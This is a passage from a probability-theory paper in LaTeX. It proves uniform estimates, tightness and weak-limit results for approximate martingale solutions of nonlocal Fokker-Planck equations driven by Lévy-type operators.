2\\sup_{t,x}H^{\\nu}_t(x,y)(\\rho_\\eps*\\mu)(t,x),\\end{aligned}$$ where $g^\\nu_{t}(x)$ and $H^{\\nu}_t(x,y)$ are defined by and , respectively.", "\n\nNote that for $|x-y|\\leq \\ell\\leq1/\\sqrt{2}$, $$\\label{DT2}\n(1+|y|^2)/2\\leq 1+|x|^2\\leq 2(1+|y|^2).$$ Fix $\\eps\\in(0,\\ell)$ below. ", "By definition we have $$\\begin{aligned}\n\\frac{|\\rho_\\eps*(a\\mu)|(t,x)}{1+|x|^2}&\\leq \\int_{\\mR^{d+1}}\\rho_\\eps(t-s, x-y)\\frac{|a_s(y)|}{1+|x|^2}\\mu_s(\\dif y)\\dif s\\\\\n&\\leq 2\\int_{\\mR^{d+1}}\\rho_\\eps(t-s,x-y)\\frac{|a_s(y)|}{1+|y|^2}\\mu_s(\\dif y)\\dif s,\\end{aligned}$$ and $$\\begin{aligned}\n\\frac{|\\rho_\\eps*(b\\mu)|(t,x)}{1+|x|}&\\leq\\int_{\\mR^{d+1}}\\rho_\\eps(t-s,x-y)\\frac{|b_s(y)|}{1+|x|}\\mu_s(\\dif y)\\dif s\\\\\n&\\leq 2\\int_{\\mR^{d+1}}\\rho_\\eps(t-s,x-y)\\frac{|b_s(y)|}{1+|y|}\\mu_s(\\dif y)\\dif s.\\end{aligned}$$ Similarly, by Fubini’s theorem and , we have $$\\begin{aligned}\n\\frac{g^{\\bar{\\nu}^\\eps}_t(x)}{1+|x|^2}&=\\int_{\\mR^{d+1}}\\int_{B_\\ell}\\frac{|z|^2}{1+|x|^2}\\rho_\\eps(t-s,x-y)\\nu_{s,y}(\\dif z)\\mu_s(\\dif y)\\dif s\\\\\n&\\leq 2\\int_{\\mR^{d+1}}\\int_{B_\\ell}\\frac{|z|^2}{1+|y|^2}\\rho_\\eps(t-s, x-y)\\nu_{s,y}(\\dif z)\\mu_s(\\dif y)\\dif s\\\\\n&=2\\int_{\\mR^{d+1}}\\frac{g^\\nu_s(y)}{1+|y|^2}\\rho_\\eps(t-s,x-y)\\mu_s(\\dif y)\\dif s,\\end{aligned}$$ and $$\\begin{aligned}\nH^{\\bar{\\nu}^\\eps}_t(x,y)&=\\int_{\\mR^{d+1}}\\int_{B_\\ell^c}\\log\\left(1+\\tfrac{|z|}{1+|x-y|}\\right)\\rho_\\eps(t-s,x-y')\\nu_{s,y'}(\\dif z)\\mu_s(\\dif y')\\dif s\\\\\n&\\leq\\int_{\\mR^{d+1}}\\int_{B_\\ell^c}\\log\\left(1+\\tfrac{2|z|}{1+|y'-y|}\\right)\\rho_\\eps(t-s,x-y')\\nu_{s,y'}(\\dif z)\\mu_s(\\dif y')\\dif s\\\\\n&\\leq 2\\int_{\\mR^{d+1}}H^{\\nu}_s(y',y)\\rho_\\eps(t-s,x-y')\\mu_s(\\dif y')\\dif s.\\end{aligned}$$ Combining the above calculations, we obtain the desired estimates.", "\n\nLet $\\phi(x):=(2\\pi)^{-d}\\e^{-|x|^2/2}$ be the normal distribution density. ", "For $\\eps\\in(0,\\ell)$, as in [@BRS], we define the approximation sequence $\\mu^\\eps_t\\in\\cP(\\mR^d)$ by $$\\begin{aligned}\n\\label{mo}\n\\mu_t^\\eps(x):=(1-\\eps)(\\rho_\\eps*\\mu)(t,x)+\\eps\\phi(x).\\end{aligned}$$ We have the following easy consequence.", "\n\n(i) For each $t\\geq 0$ and $\\eps\\in(0,\\ell)$, we have $$0<\\mu^\\eps_t(x)\\in C^\\infty(\\mR_+; C^\\infty_b(\\mR^{d})),\\ \\ \\int_{\\mR^d}\\mu_t^\\eps(x)\\dif x=1.$$\n\n(ii) For each $t\\geq 0$, $\\mu^\\eps_t$ weakly converges to $\\mu_t$, that is, for any $f\\in C_b(\\mR^d)$, $$\\lim_{\\eps\\to\\infty}\\int_{\\mR^d}f(x)\\mu^\\eps_t(x)\\dif x=\\int_{\\mR^d}f(x)\\mu_t(\\dif x).$$\n\n(iii) $\\mu^\\eps_t$ solves the following Fokker-Planck equation: $$\\p_t\\mu^\\eps_t=(\\sA_t^{\\eps}+\\sB^{\\eps}_t+\\sN^{\\eps}_t)^*\\mu^\\eps_t=:(\\sL_t^\\eps)^*\\mu^\\eps_t,$$ where $\\sA^{\\eps}_t$, $\\sB^{\\eps}_t$ and $\\sN^{\\eps}_t$ are defined as in the introduction in terms of $$\\begin{aligned}\n a^\\eps_t(x)&:=\\frac{(1-\\eps)[\\rho_\\eps*(a\\mu)](t,x)+\\eps\\phi(x)\\mI}{\\mu_t^\\eps(x)},\\\\\n b^\\eps_t(x)&:=\\frac{(1-\\eps)[\\rho_\\eps*(b\\mu)](t,x)+\\eps\\phi(x)x}{\\mu_t^\\eps(x)},\\end{aligned}$$ and $$\\begin{aligned}\n \\label{neps}\n \\nu^\\eps_{t,x}(\\dif z):=\\frac{1-\\eps}{\\mu_t^\\eps(x)}\\int_{\\mR^{d+1}}\\rho_\\eps(t-s,x-y)\\nu_{s,y}(\\dif z)\\mu_s(\\dif y)\\dif s.\\end{aligned}$$\n\n(iv) The following uniform estimates hold: for any $\\eps\\in(0,\\ell)$, $$\\begin{aligned}\n \\label{UN0}\n \\begin{split}\n &\\sup_{t,x}\\left[\\frac{|a^\\eps_t(x)|+g^{\\nu^\\eps}_t(x)}{1+|x|^2}\n +\\frac{|b^\\eps_t(x)|}{1+|x|}\\right]\\leq 1+2\\sup_{t,x}\\left[\\frac{|a_t(x)|+g^{\\nu}_t(x)}{1+|x|^2}\n +\\frac{|b_t(x)|}{1+|x|}\\right]\n \\end{split}\\end{aligned}$$ and $$\\begin{aligned}\n \\label{UN00}\n \\sup_{t,x}H^{\\nu^\\eps}_t(x,y)\\leq \\sup_{t,x}H^{\\nu}_t(x,y),\\ \\ y\\in\\mR^d.\\end{aligned}$$\n\nThe first two assertions are obvious by definition. ", "Let us show (iii). ", "By definition, it suffices to prove that for any $f\\in C^\\infty_c(\\mR^d)$ and $t\\geq 0$, $$\\begin{aligned}\n\\label{DT33}\n\\mu^\\eps_t(f)=\\mu^\\eps_0(f)+\\int^t_0\\mu^\\eps_s(\\sL_s^\\eps f)\\dif s,\\end{aligned}$$ where $$\\mu^\\eps_t(f):=\\int_{\\mR^d}f(x)\\mu^\\eps_t(x)\\dif x.$$ Note that for any $f\\in C^\\infty_c(\\mR^d)$, $$\\Delta\\phi+\\div(x\\cdot \\phi)\\equiv 0\\Rightarrow\\int_{\\mR^d}\\phi(x)(\\Delta f(x)-x\\cdot\\nabla f(x))\\dif x=0.$$ By Fubini’s theorem and a change of variables, it is easy to see that holds. ", "Finally, estimate follows by Lemma \\[Le41\\].", "\n\nThe following result follows by Theorem \\[Th24\\].", "\n\nFor any $\\eps\\in(0,\\ell)$ and $(s,x)\\in\\mR_+\\times\\mR^d$, there is a unique martingale solution $\\mP^\\eps_{s,x}\\in\\cM^x_s(\\sL^\\eps_t)$. In particular, there is also a martingale solution $\\mQ^\\eps\\in\\cM^{\\mu^\\eps_0}_0(\\sL^\\eps_t)$ so that for each $t\\geq 0$, $$\\mu^\\eps_t(x)\\dif x=\\mQ^\\eps\\circ X^{-1}_t(\\dif x).$$\n\nBy Theorem \\[Th24\\], it suffices to check that $(a^\\eps,b^\\eps,\\nu^\\eps)$ satisfies conditions [**(A)**]{}-[**(D)**]{}. ", "First of all, [**(A)**]{} and [**(B)**]{} are obvious, and [**(D)**]{} follows by . ", "It remains to check [**(C)**]{}. ", "We only check that for any $\\eps\\in(0,\\ell)$, $n\\in\\mN$ and $x,x'\\in B_n$, $t,t'\\in[0,n]$, $$\\begin{aligned}\n\\label{DT3}\n\\int_{\\mR^d}(1\\wedge |z|^2)|\\nu^\\eps_{t,x}-\\nu^\\eps_{t',x'}|(\\dif z)\\leq c_{n,\\eps}(|t-t'|+|x-x'|).\\end{aligned}$$ Noting that $$\\inf_t\\inf_{x\\in B_n}\\mu^\\eps_t(x)\\geq\\eps\\inf_{x\\in B_n}\\phi(x),$$ we have by definition that for all $x,x'\\in B_n$ and $t,t'\\in[0,n]$, $$\\begin{aligned}\n|\\nu^\\eps_{t,x}-\\nu^\\eps_{t',x'}|(\\dif z)&\\leq\n\\int_{\\mR^{d+1}}\\left|\\frac{\\rho_\\eps(t-s,x-y)}{\\mu_t^\\eps(x)}-\\frac{\\rho_\\eps(t'-s,x'-y)}{\\mu_{t'}^\\eps(x')}\\right|\\nu_{s,y}(\\dif z)\\mu_s(\\dif y)\\dif s\\\\\n&\\leq c_{n,\\eps}(|t-t'|+|x-x'|)\\int_0^{n+1}\\int_{B_{n+1}}\\nu_{s,y}(\\dif z)\\mu_s(\\dif y)\\dif s.\\end{aligned}$$ Estimate then follows since $\\sup_{s,y\\in[0,n+1]\\times B_{n+1}}\\int_{\\mR^{d}}(1\\wedge|z|^2)\\nu_{s,y}(\\dif z)<\\infty$.\n\nTightness\n---------\n\nWe first prepare the following result (cf. [", "@BKRS Proposition 7.1.8]).", "\n\n\\[Le34\\] For $\\mu^\\eps_0\\in\\cP(\\mR^d)$ being defined by , there exits a function $\\psi\\in C^2(\\mR_+)$ with the properties $$\\begin{aligned}\n\\psi\\geq 0,\\quad\\psi(0)=0,\\quad 0< \\psi'\\leq 1,\\quad -2\\leq \\psi''\\leq 0,\\quad\\lim_{r\\to\\infty}\\psi(r)=+\\infty,\\end{aligned}$$ and such that $$\\begin{aligned}\n\\label{JP1}\n\\sup_{\\eps\\in[0,\\ell)}\\int_{\\mR^d}\\psi\\big(\\log(1+|x|^2)\\big)\\mu^\\eps_0(\\dif x)<\\infty.\\end{aligned}$$\n\nSince $\\mu^\\eps_0$ weakly converges to $\\mu_0$ as $\\eps\\to0$, we have $$\\lim_{n\\to\\infty}\\sup_{\\eps\\in[0,\\ell)}\\mu^\\eps_0(B^c_n)=0.$$ In particular, we can find a subsequence $n_k$ such that for $z_k:=\\log(1+n^2_k)$, $$z_{k+1}-z_k\\geq z_k-z_{k-1}\\geq 1,$$ and $$\\sup_{\\eps\\in[0,\\ell)}\\int_{\\mR^d}1_{[z_k,\\infty)}(\\log(1+|x|^2))\\mu^\\eps_0(\\dif x)=\\sup_{\\eps\\in[0,\\ell)}\\mu^\\eps_0(B^c_{n_k})\\leq 2^{-k}.$$ Let $z_0=0$ and define $$\\psi_0(s):=\\sum_{k=0}^\\infty\\1_{[z_k,z_{k+1}]}(s)\\left[k-1+\\frac{s-z_k}{z_{k+1}-z_k}\\right].$$ Clearly, we have $$\\begin{aligned}\n\\int_{\\mR^d}\\psi_0(\\log(1+|x|^2))\\mu^\\eps_0(\\dif x)\\leq \\sum_{k=0}^\\infty k\\int_{\\mR^d}1_{[z_{k},\\infty)}(\\log(1+|x|^2))\\mu^\\eps_0(\\dif x)\n\\leq\\sum_{k=0}^\\infty \\frac{k}{ 2^{k}}.\\end{aligned}$$ However, $\\psi_0$ does not belong to the class $C^2(\\mR_+)$. Let us take $$\\psi(t):=\\int_0^tg(r)\\dif r$$ with $g\\in C^1(\\mR_+)$, $0\\leq g\\leq 1$, $-2\\leq g'\\leq 0$, and $$g(z)=\\psi_0'(z)\\quad\\text{if}\\quad z\\in(z_k,z_{k+1}-k^{-1}).$$ It is easy to see that such a function $g$ always exists. ", "The proof is complete.", "\n\nLet $H^\\nu_t(x,y)$ be defined by . ", "We have $$\\begin{aligned}\n\\label{HH2}\nH^\\nu_t(x,y)\\leq 2(1+|y|)\\hbar^\\nu_t(x),\\ \\ \\forall t\\geq 0, x,y\\in\\mR^d.\\end{aligned}$$\n\nRecall that $$H^\\nu_t(x,y)=\\int_{B^c_\\ell}\\log\\left(1+\\tfrac{|z|}{1+|x-y|}\\right)\\nu_{t,x}(\\dif z).$$ If $|x|\\leq 2|y|$, then $$\\begin{aligned}\nH^\\nu_t(x,y)&\\leq\\int_{B^c_\\ell}\\log\\left(1+|z|\\right)\\nu_{t,x}(\\dif z)\\leq\n\\int_{B^c_\\ell}\\log\\left(1+\\tfrac{(1+2|y|)|z|}{1+|x|}\\right)\\nu_{t,x}(\\dif z)\\\\\n&\\leq\\int_{B^c_\\ell}\\log\\left(1+\\tfrac{|z|}{1+|x|}\\right)^{1+2|y|}\\nu_{t,x}(\\dif z)=(1+2|y|)\\hbar^\\nu_t(x).\\end{aligned}$$ If $|x|>2|y|$, then $2|x-y|\\geq 2|x|-2|y|\\geq |x|$ and $$H^\\nu_t(x,y)\\leq\\int_{B^c_\\ell}\\log\\left(1+\\tfrac{2|z|}{2+|x|}\\right)\\nu_{t,x}(\\dif z)\\leq 2\\hbar^\\nu_t(x).$$ The proof is complete.", "\n\nNow, we prove the following tightness result.", "\n\nThe family of probability measures $(\\mQ^\\eps)_{\\eps\\in(0,\\ell)}$ is tight in $\\cP(\\mD)$.\n\nBy Aldous’ criterion (see [@Al] or [@J-S p.356]), it suffices to check the following two conditions:\n\n(i) For any $T>0$, it holds that $$\\lim_{N\\to\\infty}\\sup_\\eps\\mQ^\\eps\\left(\\sup_{t\\in[0,T]}|X_t|>N\\right)=0.$$\n\n(ii) For any $T,\\delta_0>0$ and stopping time $\\tau<T-\\delta_0$, it holds that $$\\lim_{\\delta\\to 0}\\sup_\\eps\\sup_\\tau\\mQ^\\eps\\left(|X_{\\tau+\\delta}-X_\\tau|>\\lambda\\right)=0,\\ \\ \\forall\\lambda>0.$$\n\n[**Verification of (i)**]{}. ", "Let $\\psi$ be as in Lemma \\[Le34\\] and $V(x):=\\psi(\\log(1+|x|^2))$. By the definition of a martingale solution (see Remark \\[Re14\\]), there is a cádlág local $\\mQ^\\eps$-martingale $M^\\eps_t$ and constant $C$ independent of $\\eps$ such that for all $t\\geq 0$, $$\\begin{aligned}\nV(X_{t})&=V(X_0)+\\int^{t}_0\\sL^\\eps_rV(X_r)\\dif r+M_t^\\eps\\stackrel{\\eqref{UN0}}{\\leq} V(X_0)+Ct+M^\\eps_t.\\end{aligned}$$ By Lemma \\[Gron\\] , there is a constant $C>0$ such that for all $T>0$, $$\\begin{aligned}\n\\label{EE}\n\\sup_{\\eps\\in(0,\\ell)}\\mE^{\\mQ^\\eps}\\left(\\sup_{t\\in[0,T]}V^{\\frac{1}{2}}(X_t)\\right)\\leq \nC\\sup_{\\eps\\in(0,\\ell)}(\\mE^{\\mQ_\\eps} V(X_0))^{\\frac{1}{2}}\\stackrel{\\eqref{JP1}}{<}\\infty,\\end{aligned}$$ which in turn implies that (i) is true.", "\n\n[**Verification of (ii)**]{}. ", "Let $\\tau\\leq T-\\delta_0$ be a bounded stopping time. ", "For any $\\delta\\in(0,\\delta_0)$, by the strong Markov property we have $$\\begin{aligned}\n\\label{AQ1}\n\\mQ^\\eps\\left(|X_{\\tau+\\delta}-X_\\tau|>\\lambda\\right)&=\\mE^{\\mQ^\\eps}\\left(\\mP^\\eps_{s,y}\\left(|X_{s+\\delta}-y|>\\lambda\\right)|_{(s,y)=(\\tau, X_\\tau)}\\right).\\end{aligned}$$ Recalling that $V_{y}(x):=\\psi(\\log(1+|x-y|^2)$, and by , , , and we deduce that $$\\begin{aligned}\n\\sL^\\eps_tV_{y}(x)&\\leq 2\\left(\\frac{|a^\\eps_t(x)|+\\<x-y,b^\\eps_t(x)\\>^++g^{\\nu^\\eps}_t(x)}{1+|x-y|^2}+2H^{\\nu^\\eps}_t(x,y)\\right)\\\\\n&\\leq C\\left(\\frac{1+|x|^2+|x-y|(1+|x|)}{1+|x-y|^2}+H^\\nu_t(x,y)\\right)\\leq C(1+|y|^2),\\end{aligned}$$ where $C>0$ is independent of $t,x,y$ and $\\eps$. Furthermore, we have $$\\begin{aligned}\nV_{y}(X_t)&=V_y(X_0)+\\int^{t}_s\\sL^\\eps_rV_{y}(X_r)\\dif r+M^\\eps_t\\\\\n&\\leq V_y(X_0)+C(1+|y|^2)(t-s)+M^\\eps_t,\\end{aligned}$$ where $(M^\\eps_t)_{t\\geq s}$ is a local $\\mP^\\eps_{s,y}$-martingale. ", "By Lemma \\[Gron\\] again and since $V_{y}(y)=0$, we obtain $$\\mE^{\\mP^\\eps_{s,y}} V_{y}(X_t)^{1/2}\\leq C(1+|y|)(t-s)^{1/2}.$$ Hence, $$\\begin{aligned}\n\\mP^\\eps_{s,y}\\left(|X_{s+\\delta}-y|>\\lambda\\right)&=\\mP^\\eps_{s,y}\\left(V_{y}(X_{s+\\delta})>\\psi(\\log(1+\\lambda^2))\\right)\\\\\n&\\leq\\mE^{\\mP^\\eps_{s,y}}\\left(V_{y}(X_{s+\\delta})\\right)/\\psi(\\log(1+\\lambda^2))\\\\\n&\\leq C(1+|y|)\\delta^{1/2}/\\psi(\\log(1+\\lambda^2)),\\end{aligned}$$ and by and , $$\\begin{aligned}\n\\mQ^\\eps\\left(|X_{\\tau+\\delta}-X_\\tau|>\\lambda\\right)&\\leq \\mQ^\\eps(|X_\\tau|>R)+C(1+R)\\delta^{1/2}/\\psi(\\log(1+\\lambda^2))\\\\\n&\\leq C/\\psi(\\log(1+R^2))+C_\\lambda(1+R)\\delta^{1/2}.\\end{aligned}$$ Letting $\\delta\\to 0$ first and then $R\\to\\infty$, one sees that (ii) is satisfied.", "\n\nLimits\n------\n\nIn order to take weak limits, we rewrite $$\\begin{aligned}\n\\sB_tf(x)+\\sN_tf(x)&=\\tilde b_t(x)\\cdot\\nabla f(x)\n+\\int_{\\mR^d}\\Theta^\\pi_f(x;z)\\nu_{t,x}(\\dif z)=:\\widetilde{\\sB_t}f(x)+\\widetilde\\sN_tf(x),\\end{aligned}$$ where $$\\tilde b_t(x):=b_t(x)+\\int_{\\mR^d}\\big[\\pi(z)-z\\1_{|z|\\leq\\ell}\\big]\\nu_{t,x}(\\dif z),$$ and $$\\begin{aligned}\n\\label{npi}\n\\Theta^\\pi_f(x;z):=f(x+z)-f(x)-\\pi(z)\\cdot\\nabla f(x).\\end{aligned}$$ Here, $\\pi:\\mR^d\\to\\mR^d$ is a smooth symmetric function satisfying $$\\pi(z)=z,\\ \\ |z|\\leq\\ell,\\ \\ \\pi(z)=0,\\ \\ |z|>2\\ell.$$ As in (\\[aa2\\]), we shall also write $\\widetilde\\sN_tf(x)=\\widetilde\\sN_t^\\nu f(x)=\\widetilde\\sN^{\\nu_{t,x}}f(x)$. We have the following result.", "\n\n\\[Le37\\] For any $f\\in C^2_c(\\mR^d)$ with support in $B_R$, there is a constant $C=C(f)>0$ such that for all $x\\in\\mR^d$ and $z,z'\\in \\mR^d$ with $|z'|\\leq|z|$, $$|\\Theta^\\pi_f(x;z)-\\Theta^\\pi_f(x;z')|\\leq C(|z-z'|\\wedge 1)(\\1_{B_{R+\\ell}}(x)\\1_{|z|\\leq \\ell}|z|+\\1_{|z|>\\ell\\vee(|x|-R)}).$$\n\nNote that $$\\sQ:=|\\Theta^\\pi_f(x;z)-\\Theta^\\pi_f(x;z')|=|f(x+z)-f(x+z')-(\\pi(z)-\\pi(z'))\\cdot\\nabla f(x)|.$$ We make the following decomposition: $$\\begin{aligned}\n\\sQ=\\sQ\\cdot\\1_{|z|\\leq\\ell}+\\sQ\\cdot\\1_{|z|>\\ell}\\1_{|x|\\leq R}+\\sQ\\cdot\\1_{|z|>\\ell}\\1_{|x|>R}=:\\sQ_1+\\sQ_2+\\sQ_3.\\end{aligned}$$ For $\\sQ_1$, since supp$(f)\\subset B_R$, we have by that $$\\begin{aligned}\n|\\sQ_1|&\\leq|z-z'|^2\\|\\nabla^2 f\\|_\\infty\\1_{B_{R+\\ell}}(x)\\1_{|z|\\leq\\ell}\\leq C(|z-z'|\\wedge 1)|z|\\1_{B_{R+\\ell}}(x)\\1_{|z|\\leq\\ell}.\\end{aligned}$$ For $\\sQ_2$, we have $$\\begin{aligned}\n|\\sQ_2|&\\leq\\Big(|f(x+z)-f(x+z')|+|\\pi(z)-\\pi(z')|\\cdot\\|\\nabla f\\|_\\infty\\Big)\\1_{|z|>\\ell}\\1_{|x|\\leq R}\\\\\n&\\leq C(|z-z'|\\wedge 1)\\1_{|z|>\\ell}\\1_{|x|\\leq R}.\\end{aligned}$$ As for $\\sQ_3$, we have $$\\begin{aligned}\n|\\sQ_3|=|f(x+z)-f(x+z')|\\cdot\\1_{|z|>\\ell}\\1_{|x|>R}\\leq C(|z-z'|\\wedge 1)\\1_{|z|>\\ell\\vee(|x|-R)},\\end{aligned}$$ where we have used that for $|z'|\\leq|z|\\leq|x|-R$, $$f(x+z)=f(x+z')=0.$$ Combining the above calculations, we obtain the desired estimate.", "\n\nThe following approximation result will be crucial for taking weak limits. ", "\\[imp\\] For any $\\delta\\in(0,1)$ and $T>0$, there is a family of Lévy measures $\\eta_{t,x}(\\dif z)$ such that for any $f\\in C^2_c(\\mR^d)$, $$\\begin{aligned}\n\\label{LP2}\n\\int^T_0\\!\\!\\int_{\\mR^d}\\sup_{x\\in B_1(y)}|\\widetilde\\sN^{\\nu_{s,y}}f(x)-\\widetilde\\sN^{\\eta_{s,y}}f(x)|\\mu_s(\\dif y)\\dif s\\leq\\delta,\\end{aligned}$$ and $$\\sup_{s,y}\\|\\widetilde\\sN^{\\eta_{s,y}}f\\|_\\infty<\\infty,\\ \\ (s,y,x)\\mapsto\\widetilde\\sN^{\\eta_{s,y}}f(x)\\mbox{ is continuous}.$$\n\n\\(i) By the randomization of kernel functions (see [@Ja Lemma 14.50, p.469]), there is a measurable function $$h_{t,x}(\\theta):[0,T]\\times\\mR^d\\times[0,\\infty)\\to\\mR^d\\cup\\{\\infty\\}$$ such that $$\\nu_{t,x}(A)=\\int^\\infty_0\\1_A(h_{t,x}(\\theta))\\dif\\theta,\\ \\ \\forall A\\in\\sB(\\mR^d).$$ In particular, we have $$\\begin{aligned}\n\\label{HQ1}\n\\widetilde\\sN^{\\nu_{s,y}} f(x)=\\int^\\infty_0\\Theta^\\pi_f(x; h_{s,y}(\\theta))\\dif\\theta=:\\widetilde\\sN^{h_{s,y}}f(x),\\end{aligned}$$ and $$g^\\nu_t(x)=\\int^\\infty_0\\1_{B_\\ell}(h_{t,x}(\\theta))|h_{t,x}(\\theta)|^2\\dif\\theta,\\ \\ \n\\nu_{t,x}(B^c_\\ell)=\\int^\\infty_0\\1_{B^c_\\ell}(h_{t,x}(\\theta))\\dif\\theta.$$ We introduce $\\mX:=[0,T]\\times\\mR^d\\times[0,\\infty)$ and a locally finte measure $\\gamma$ over $\\mX$ by $$\\gamma(\\dif \\theta,\\dif x,\\dif t):= \\big(1+\\nu_{t,x}(B^c_{\\ell\\vee(|x|-R)})\\big)\\dif\\theta\\mu_{t}(\\dif x)\\dif t.$$ [*Claim:*]{} There is a sequence of measurable functions $\\{\\bar h^n_{t,x}(\\theta), n\\in\\mN\\}$ so that for each $\\theta\\geq 0$ and $n\\in\\mN$, $(t,x)\\mapsto\\bar h^n_{t,x}(\\theta)$ is continuous with compact support, and $$\\begin{aligned}\n\\label{HQ3}\n|\\bar h^n_{t,x}(\\theta)|\\leq |h_{t,x}(\\theta)|,\\end{aligned}$$ and $$\\begin{aligned}\n\\label{HQ4}\n\\lim_{n\\to\\infty}\\int_\\mX\\Big(|\\bar h^n_{t,x}(\\theta)-h_{t,x}(\\theta)|^2\\wedge 1\\Big)\\gamma(\\dif\\theta,\\dif x,\\dif t)=0.\\end{aligned}$$ [*Proof of Claim:*]{} Fix $m\\in\\mN$. Since $\\1_{[0,m]}(\\theta)\\gamma(\\dif\\theta,\\dif x,\\dif t)$ is a finite measure (see ) over $\\mX$, by Lusin’s theorem, there exists a family of continuous function $\\{\\bar h^\\eps_{t,x}(\\theta),\\eps\\in(0,1)\\}$ with compact support in $(t,x)$ such that $$|\\bar h^\\eps_{t,x}(\\theta)|\\leq |h_{t,x}(\\theta)|,\\ \\bar h^\\eps_{t,x}(\\theta)\\to h_{t,x}(\\theta),\\ \\eps\\to 0, \\gamma-a.s.$$ Thus by the dominated convergence theorem, $$\\lim_{\\eps\\to 0}\\int_\\mX\\Big(|\\bar h^\\eps_{t,x}(\\theta)-h_{t,x}(\\theta)|^2\\wedge 1\\Big)\\1_{[0,m]}(\\theta)\\gamma(\\dif\\theta,\\dif x,\\dif t)=0.$$ On the other hand, we have $$\\lim_{m\\to \\infty}\\int_\\mX\\Big(|h_{t,x}(\\theta)|^2\\wedge 1\\Big)\\1_{(m,\\infty)}(\\theta)\\gamma(\\dif\\theta,\\dif x,\\dif t)=0.$$ By a diagonalizaion argument, we obtain the desired approximation sequence. ", "The claim is proven.\\\n(ii) Let $f\\in C^2_c(B_R)$. By , and Lemma \\[Le37\\], we have for all $x\\in B_1(y)$, $$\\begin{aligned}\n&|\\widetilde\\sN^{h_{s,y}}f(x)-\\widetilde\\sN^{\\bar h^n_{s,y}}f(x)|\\leq\\int^\\infty_0|\\Theta^\\pi_f(x; h_{s,y}(\\theta))-\\Theta^\\pi_f(x; \\bar h^n_{s,y}(\\theta))|\\dif\\theta\\\\\n&\\lesssim\\int^\\infty_0\\Big(|h_{s,y}(\\theta)|\\1_{B_\\ell}(h_{s,y}(\\theta))\\1_{B_{R+\\ell}}(x)+\\1_{B^c_{\\ell\\vee(|x|-R)}}(h_{s,y}(\\theta))\\Big)\\\\\n&\\qquad\\qquad\\times\\Big(|h_{s,y}(\\theta)-\\bar h^n_{s,y}(\\theta)|\\wedge 1\\Big)\\dif\\theta\\\\\n&\\leq\\left(\\int^\\infty_0\\Big(|h_{s,y}(\\theta)|^2\\1_{B_\\ell}(h_{s,y}(\\theta))\\1_{B_{R+\\ell+1}}(y)\n+\\1_{B^c_{\\ell\\vee(|x|-R)}}(h_{s,y}(\\theta))\\Big)\\dif\\theta\\right)^{\\frac{1}{2}}\\\\\n&\\quad\\qquad\\times\\left(\\int^\\infty_0\\Big(|h_{s,y}(\\theta)-\\bar h^n_{s,y}(\\theta)|^2\\wedge 1\\Big)\\dif\\theta\\right)^{\\frac{1}{2}}\\\\\n&\\leq\\left(\\1_{B_{R+\\ell+1}}(y)g^\\nu_s(y)+\\nu_{s,y}(B^c_{\\ell\\vee(|y|-R-1)})\\right)^{\\frac{1}{2}}\n\\!\\left(\\int^\\infty_0\\!\\!\\Big(|h_{s,y}(\\theta)-\\bar h^n_{s,y}(\\theta)|^2\\wedge 1\\Big)\\dif\\theta\\right)^{\\frac{1}{2}}.\\end{aligned}$$ Hence, by and we further have $$\\begin{aligned}\n&\\int^T_0\\!\\!\\int_{\\mR^d}\\sup_{x\\in B_1(y)}|\\sN^{h_{s,y}}f(x)-\\sN^{\\bar h^n_{s,y}}f(x)|\\mu_s(\\dif y)\\dif s\\\\\n&\\lesssim\\int^T_0\\!\\!\\int_{\\mR^d}\\left(\\int^\\infty_0\\Big(|h_{s,y}(\\theta)-\\bar h^n_{s,y}(\\theta)|^2\\wedge 1\\Big)\\dif\\theta\\right)^{\\frac{1}{2}}\n\\mu_s(\\dif y)\\dif s\\\\\n&\\leq\\sqrt{T}\\left(\\int_\\mX(|h_{s,y}(\\theta)-\\bar h^n_{s,y}(\\theta)|^2\\wedge 1)\\dif\\theta\\mu_s(\\dif y)\\dif s\\right)^{\\frac{1}{2}}\\stackrel{\\eqref{HQ4}}{\\to} 0.\\end{aligned}$$ (iii) For fixed $n\\in\\mN$, by the above claim, it is easy to see that $$(s,y,x)\\mapsto\\sN^{\\bar h^n_{s,y}}f(x)\\mbox{ is continuous.}$$ Moreover, we have $$\\begin{aligned}\n|\\widetilde\\sN^{\\bar h^n_{s,y}}f(x)|&\\leq\\int^\\infty_0|\\Theta^\\pi_f(x; \\bar h^n_{s,y}(\\theta))|\\dif\\theta\n\\leq C\\int^\\infty_0\\Big(|\\bar h^n_{s,y}(\\theta)|^2\\wedge 1\\Big)\\dif\\theta.\\end{aligned}$$ Since $\\bar h^n_{s,y}(\\theta)$ has compact support in $(s,y)$, we have $$\\sup_{s,y}\\|\\sN^{\\bar h^n_{s,y}}f\\|_\\infty<\\infty.$$ Finally we just need to take $n$ large enough and define $$\\eta_{t,x}(A):=\\int^\\infty_0\\1_A(\\bar h^n_{t,x}(\\theta))\\dif\\theta.$$ The proof is complete.", "\n\nNow we are in a position to give:\n\nLet $\\mQ$ be any accumulation point of $(\\mQ^\\eps)$. By taking weak limits for $$\\mu^\\eps_t=\\mQ^\\eps\\circ X^{-1}_t,$$ we obtain $$\\mu_t=\\mQ\\circ X^{-1}_t.$$ It remains to show that $\\mQ\\in\\cM^{\\mu_0}_0(\\sL_t)$. We need to show that for any $f\\in C^2_c(\\mR^d)$, $$M_t:=f(X_t)-f(X_0)-\\int^t_0\\sL_s f(X_s)\\dif s$$ is a $\\cB_t$-martingale under $\\mQ$. More precisely, it suffices to prove that for any $s<t$ and bounded $\\cB_s$-measurable $g_s\\in C_b(\\mD)$, $$\\mE^\\mQ (M_t g_s)=\\mE^\\mQ (M_s g_s).$$ Since $\\mQ^\\eps\\in\\sM^{\\mu^\\eps_0}_0(\\sL^\\eps_t)$, by the definition of martingale solutions, we have $$\\mE^{\\mQ^\\eps} (M^\\eps_t g_s)=\\mE^{\\mQ^\\eps} (M^\\eps_s g_s),$$ where $$M^\\eps_t:=f(X_t)-f(X_0)-\\int^t_0\\sL^\\eps_s f(X_s)\\dif s.$$ Clearly, we only need to show the following limits. ", "$$\\begin{aligned}\n\\lim_{\\eps\\to 0}\\mE^{\\mQ^\\eps}\\left (g_s\\int^t_s\\sA^{\\eps}_r f(X_r)\\dif r \\right)&=\\mE^{\\mQ} \\left(g_s\\int^t_s\\sA_r f(X_r)\\dif r\\right),\\\\\n\\lim_{\\eps\\to 0}\\mE^{\\mQ^\\eps}\\left (g_s\\int^t_s\\widetilde{\\sB^{\\eps}_r} f(X_r)\\dif r \\right)&=\\mE^{\\mQ} \\left(g_s\\int^t_s\\widetilde{\\sB_r} f(X_r)\\dif r\\right),\\\\\n\\lim_{\\eps\\to 